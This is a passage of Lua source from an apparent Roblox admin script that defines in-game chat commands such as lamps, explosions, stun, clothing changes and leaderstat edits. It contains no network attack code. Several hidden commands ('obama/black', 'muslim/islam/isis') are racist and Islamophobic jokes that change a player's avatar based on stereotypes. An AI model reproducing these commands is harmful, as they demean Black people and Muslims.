6978 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
6979 local Players = STRING:Scan(Arguments[1], Speaker)
6980 for _,Player in pairs(Players) do
6981 if Player.Character and Player.Character:FindFirstChild("Torso") then
6982 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
6983 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
6984 end
6985 end
6986 end};
6987
6988 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
6989 local Players = STRING:Scan(Arguments[1], Speaker)
6990 for _,Player in pairs(Players) do
6991 if Player.Character and Player.Character:FindFirstChild("Torso") then
6992 local Lights = {}
6993 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
6994 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
6995 table.insert(Lights, Obj)
6996 end
6997 end
6998 for _,Light in pairs(Lights) do
6999 coroutine.wrap(function()
7000 for i = 1,20 do
7001 Light.Brightness = Light.Brightness/5
7002 wait()
7003 end
7004 Light:Destroy()
7005 end)()
7006 end
7007 end
7008 end
7009 end};
7010
7011 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7012 local Players = STRING:Scan(Arguments[1], Speaker)
7013 for _,Player in pairs(Players) do
7014 if Player.Character and Player:FindFirstChild("PlayerGui") then
7015 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7016 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7017 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7018 local Stop = false
7019 coroutine.wrap(function()
7020 repeat
7021 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7022 wait(0.1)
7023 until not SG or not SG.Parent
7024 end)()
7025 CORE:ExecuteResource("Drug", Player.Character)
7026 end
7027 end
7028 end};
7029
7030 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7031 local Players = STRING:Scan(Arguments[1], Speaker)
7032 for _,Player in pairs(Players) do
7033 if Player:FindFirstChild("PlayerGui") then
7034 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7035 wait() CORE:RestoreCamera(Player)
7036 end
7037 end
7038 end};
7039
7040 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7041 local AbuseMode = false
7042 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7043 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7044 if Speaker:FindFirstChild("Backpack") then
7045 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7046 end
7047 end)
7048 end, Http = true};
7049
7050 [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string)", 1, "Member", false, function(Speaker, Rank, Arguments)
7051 MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
7052 if Speaker.Character then
7053 CORE:Insert(ID, Speaker.Character, true, {"Hat"})
7054 end
7055 end, 9)
7056 end, Http = true};
7057
7058 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7059 MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
7060 if Speaker.Character then
7061 CORE:GivePackage(Speaker, ID)
7062 end
7063 end, 11)
7064 end, Http = true};
7065
7066 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7067 local Players = STRING:Scan(Arguments[1], Speaker)
7068 for _,Player in pairs(Players) do
7069 CORE:GivePackage(Player)
7070 end
7071 end};
7072
7073 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do", 2, "Member", false, function(Speaker, Rank, Arguments)
7074 local Players = STRING:Scan(Arguments[1], Speaker)
7075 for _,Player in pairs(Players) do
7076 CORE:GivePackage(Player, Arguments[2])
7077 end
7078 end, Http = true};
7079
7080 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7081 local Players = STRING:Scan(Arguments[1], Speaker)
7082 for _,Player in pairs(Players) do
7083 local Stats = Player:FindFirstChild("leaderstats")
7084 if Stats ~= nil then
7085 for _,Stat in pairs(Stats:GetChildren()) do
7086 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7087 ypcall(function() Stat.Value = Arguments[3] end)
7088 end
7089 end
7090 end
7091 end
7092 end};
7093
7094 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7095 local ID = tonumber(Arguments[2])
7096 local Players = STRING:Scan(Arguments[1], Speaker)
7097 for _,Player in pairs(Players) do
7098 for _,Player in pairs(Players) do
7099 if Player.Character ~= nil then
7100 local Obj = Player.Character:FindFirstChild("Shirt")
7101 if Obj then
7102 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7103 else
7104 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7105 end
7106 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7107 end
7108 end
7109 end
7110 end};
7111
7112 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7113 local ID = tonumber(Arguments[2])
7114 local Players = STRING:Scan(Arguments[1], Speaker)
7115 for _,Player in pairs(Players) do
7116 for _,Player in pairs(Players) do
7117 if Player.Character ~= nil then
7118 local Obj = Player.Character:FindFirstChild("Pants")
7119 if Obj then
7120 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7121 else
7122 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7123 end
7124 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7125 end
7126 end
7127 end
7128 end};
7129
7130 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7131 local ID = tonumber(Arguments[2])
7132 local Players = STRING:Scan(Arguments[1], Speaker)
7133 for _,Player in pairs(Players) do
7134 for _,Player in pairs(Players) do
7135 if Player.Character ~= nil then
7136 if Player.Character:FindFirstChild("Torso") then
7137 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7138 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7139 if Obj1 then
7140 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7141 else
7142 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7143 end
7144 if Obj2 then
7145 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7146 else
7147 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7148 end
7149 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7150 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7151 end
7152 end
7153 end
7154 end
7155 end};
7156
7157 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7158 local Players = STRING:Scan(Arguments[1], Speaker)
7159 for _,Player in pairs(Players) do
7160 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7161 end
7162 end};
7163
7164 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7165 if CORE:InAdminGroup(Speaker) then
7166 local Players = STRING:Scan(Arguments[1], Speaker)
7167 for _,Player in pairs(Players) do
7168 if Player:FindFirstChild("Backpack") then
7169 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7170 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7171 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7172 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7173 CORE:ExecuteResource("CookieTool", Tool)
7174 end
7175 end
7176 end
7177 end};
7178
7179 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7180 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7181 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7182 end
7183 end};
7184
7185 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7186 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7187 local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
7188 Model:MakeJoints()
7189 for i = 1,math.random(10,20) do
7190 Model.Name = Model.Name..string.char(math.random(97,122))
7191 end
7192 if Model:GetChildren()[1] then
7193 table.insert(Objects, Model)
7194 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7195 end
7196 end
7197 end};
7198
7199 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7200 local ID = tonumber(Arguments[2])
7201 local Players = STRING:Scan(Arguments[1], Speaker)
7202 for _,Player in pairs(Players) do
7203 if Player.Character then
7204 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7205 end
7206 end
7207 end};
7208
7209 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7210 local Players = STRING:Scan(Arguments[1], Speaker)
7211 for _,Player in pairs(Players) do
7212 if Player.Character then
7213 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7214 if StopAnim then StopAnim:Destroy() end
7215 end
7216 end
7217 end};
7218
7219 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7220 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7221 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7222 end
7223 end};
7224
7225 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7226 if tonumber(Arguments[1]) then
7227 Server.Lighting.Brightness = tonumber(Arguments[1])
7228 end
7229 end};
7230
7231 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7232 local Players = STRING:Scan(Arguments[1], Speaker)
7233 for _,Player in pairs(Players) do
7234 GUI:CoreGui(Player, "PlayerList", true)
7235 end
7236 end};
7237
7238 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7239 local Players = STRING:Scan(Arguments[1], Speaker)
7240 for _,Player in pairs(Players) do
7241 local Players = STRING:Scan(Arguments[1], Speaker)
7242 GUI:CoreGui(Player, "PlayerList", false)
7243 end
7244 end};
7245
7246 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7247 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7248 end, Hidden = true};
7249
7250 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7251 local Players = STRING:Scan(Arguments[1], Speaker)
7252 for _,Player in pairs(Players) do
7253 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7254 end
7255 end, Hidden = true};
7256
7257 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7258 local Players = STRING:Scan(Arguments[1], Speaker)
7259 for _,Player in pairs(Players) do
7260 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7261 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7262 Player:ClearCharacterAppearance()
7263 CORE:Insert(12436480, Player.Character, true)
7264 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7265 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7266 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7267 end
7268 end
7269 end, Hidden = true};
7270
7271 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7272 local Players = STRING:Scan(Arguments[1], Speaker)
7273 for _,Player in pairs(Players) do
7274 CORE:ChangeCharacter(Player, 0, false, Speaker)
7275 end
7276 end};
7277
7278 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7279 local Bet = Arguments[1]
7280 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7281 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7282 elseif #Bet > 5 then
7283 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7284 else
7285 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7286 if Answer == "Yes" then
7287 local OldBet = Settings.Bet
7288 CORE:ChangeBet(Bet)
7289 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7290 end
7291 end
7292 end};
7293
7294 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7295 local Prefix = Arguments[1]
7296 if #Prefix > 5 then
7297 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7298 else
7299 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7300 if Answer == "Yes" then
7301 local OldPrefix = Settings.Prefix
7302 Settings.Prefix = Prefix
7303 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7304 end
7305 end
7306 end};
7307
7308 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7309 GUI:CommandBar(Speaker)
7310 end};
7311
7312 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7313 GUI:CommandBar(Speaker)
7314 PermCommandBars[Speaker.Name] = true
7315 end};
7316
7317 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7318 PermCommandBars[Speaker.Name] = nil
7319 end};
7320
7321 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7322 local Players = STRING:Scan(Arguments[1], Speaker)
7323 for _,Player in pairs(Players) do
7324 PermCommandBars[Player.Name] = nil
7325 end
7326 end};
7327
7328 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7329 CORE:CreateFigure("Dummy", nil, true, Speaker)
7330 end};
7331
7332 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7333 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7334 end};
7335
7336 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7337 local Players = STRING:Scan(Arguments[1], Speaker)
7338 for _,Player in pairs(Players) do
7339 CORE:ClonePlayer(Player)
7340 end
7341 end};
7342
7343 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7344 local Players = STRING:Scan(Arguments[1], Speaker)
7345 for _,Player in pairs(Players) do
7346 CORE:ClonePlayer(Player, Arguments[2])
7347 end
7348 end};
7349
7350 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7351 for _,Obj in pairs(Objects) do
7352 if Obj then Obj:Destroy() end
7353 end
7354 for Name,Jail in pairs(Jails) do
7355 if not game.Players:FindFirstChild(Name) then
7356 Jail:Destroy()
7357 Jails[Name] = nil
7358 end
7359 end
7360 Objects = {}
7361 end};
7362
7363 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7364 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7365 if Obj:IsA("Hat") or Obj:IsA("Tool") then
7366 Obj:Destroy()
7367 end
7368 end
7369 end};
7370
7371 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7372 local Players = STRING:Scan(Arguments[1], Speaker)
7373 for _,Player in pairs(Players) do
7374 if Player.Character and Player.Character:FindFirstChild("Torso") then
7375 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7376 end
7377 end
7378 end};
7379
7380 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7381 local Players = STRING:Scan(Arguments[1], Speaker)
7382 for _,Player in pairs(Players) do
7383 if Player.Character and Player.Character:FindFirstChild("Torso") then
7384 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7385 end
7386 end
7387 end};
7388
7389 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7390 local Players = STRING:Scan(Arguments[1], Speaker)
7391 for _,Player in pairs(Players) do
7392 if Player.Character and Player.Character:FindFirstChild("Torso") then
7393 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7394 end
7395 end
7396 end};
7397
7398 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7399 local Players = STRING:Scan(Arguments[1], Speaker)
7400 for _,Player in pairs(Players) do
7401 if Player.Character and Player.Character:FindFirstChild("Torso") then
7402 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7403 if Get:IsA("Sparkles") then
7404 Get:Destroy()
7405 end
7406 end
7407 end
7408 end
7409 end};
7410
7411 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7412 local Players = STRING:Scan(Arguments[1], Speaker)
7413 for _,Player in pairs(Players) do
7414 if Player.Character and Player.Character:FindFirstChild("Torso") then
7415 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7416 if Get:IsA("Fire") then
7417 Get:Destroy()
7418 end
7419 end
7420 end
7421 end
7422 end};
7423
7424 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7425 local Players = STRING:Scan(Arguments[1], Speaker)
7426 for _,Player in pairs(Players) do
7427 if Player.Character and Player.Character:FindFirstChild("Torso") then
7428 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7429 if Get:IsA("Smoke") then
7430 Get:Destroy()
7431 end
7432 end
7433 end
7434 end
7435 end};
7436
7437 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7438 local Players = STRING:Scan(Arguments[1], Speaker)
7439 for _,Player in pairs(Players) do
7440 if Player.Character and Player.Character:FindFirstChild("Torso") then
7441 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7442 local Boom = Instance.new("Explosion", Workspace)
7443 Boom.Position = Player.Character.Torso.Position
7444 end
7445 end
7446 end};
7447
7448 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7449 local Players = STRING:Scan(Arguments[1], Speaker)
7450 for _,Player in pairs(Players) do
7451 if Player.Character and Player.Character:FindFirstChild("Torso") then
7452 coroutine.wrap(function() for i = 1,50 do
7453 local Boom = Instance.new("Explosion", Workspace)
7454 Boom.Position = Player.Character.Torso.Position
7455 wait()
7456 end end)()
7457 coroutine.wrap(function() for i = 1,5 do
7458 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7459 end end)()
7460 end
7461 end
7462 end};
7463
7464 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7465 local Players = STRING:Scan(Arguments[1], Speaker)
7466 for _,Player in pairs(Players) do
7467 if Player.Character and Player.Character:FindFirstChild("Torso") then
7468 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7469 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7470 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7471 end
7472 end
7473 end};
7474
7475 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7476 local Players = STRING:Scan(Arguments[1], Speaker)
7477 for _,Player in pairs(Players) do
7478 if Player.Character and Player.Character:FindFirstChild("Torso") then
7479 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7480 end
7481 end
7482 end};
7483
7484 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7485 local Players = STRING:Scan(Arguments[1], Speaker)
7486 for _,Player in pairs(Players) do
7487 if Player.Character then
7488 Player.Character.Parent = Server.Lighting
7489 end
7490 end
7491 end};
7492
7493 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7494 local Players = STRING:Scan(Arguments[1], Speaker)
7495 for _,Player in pairs(Players) do
7496 if Player.Character then
7497 Player.Character.Parent = Server.Workspace
7498 Player.Character:MakeJoints()
7499 end
7500 end
7501 end};
7502
7503 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7504 local Players = STRING:Scan(Arguments[1], Speaker)
7505 for _,Player in pairs(Players) do
7506 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7507 Player.Character.Humanoid.PlatformStand = true
7508 end
7509 end
7510 end};
7511
7512 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7513 local Players = STRING:Scan(Arguments[1], Speaker)
7514 for _,Player in pairs(Players) do
7515 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7516 Player.Character.Humanoid.PlatformStand = false
7517 end
7518 end
7519 end};
7520
7521 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7522 local Players = STRING:Scan(Arguments[1], Speaker)
7523 for _,Player in pairs(Players) do
7524 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7525 Player.Character.Humanoid.Jump = true
7526 end
7527 end
7528 end};
7529
7530 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7531 local Players = STRING:Scan(Arguments[1], Speaker)
7532 for _,Player in pairs(Players) do
7533 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7534 Player.Character.Humanoid.Sit = true
7535 end
7536 end
7537 end};
7538
7539 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7540 local Players = STRING:Scan(Arguments[1], Speaker)
7541 for _,Player in pairs(Players) do
7542 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7543 Player.Character.Humanoid.Sit = false
7544 end
7545 end
7546 end};
7547
7548 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7549 local Players = STRING:Scan(Arguments[1], Speaker)
7550 for _,Player in pairs(Players) do
7551 if Player.Character and Player.Character:FindFirstChild("Torso") then
7552 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7553 end
7554 end
7555 end};
7556
7557 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7558 local Players = STRING:Scan(Arguments[1], Speaker)
7559 for _,Player in pairs(Players) do
7560 if Player.Character and Player.Character:FindFirstChild("Torso") then
7561 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7562 end
7563 end
7564 end};
7565
7566 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7567 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7568 end};
7569
7570 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7571 local Color = "Blue"
7572 local String = Arguments[2]
7573 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7574 if #ChatSplit >= 2 then
7575 if string.lower(ChatSplit[1]) == "green" then
7576 Color = "Green"
7577 String = ChatSplit[2]
7578 elseif string.lower(ChatSplit[1]) == "red" then
7579 Color = "Red"
7580 String = ChatSplit[2]
7581 end
7582 end
7583 local Players = STRING:Scan(Arguments[1], Speaker)
7584 for _,Player in pairs(Players) do
7585 if Player.Character and Player.Character:FindFirstChild("Head") then
7586 game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
7587 end
7588 end
7589 end};
7590
7591 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7592 local Players = STRING:Scan(Arguments[1], Speaker)
7593 for _,Player in pairs(Players) do
7594 if Player.Character then
7595 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7596 end
7597 end
7598 end};
7599
7600 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7601 local Players = STRING:Scan(Arguments[1], Speaker)
7602 local ID = nil
7603 if tonumber(Arguments[2]) ~= nil then
7604 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7605 else
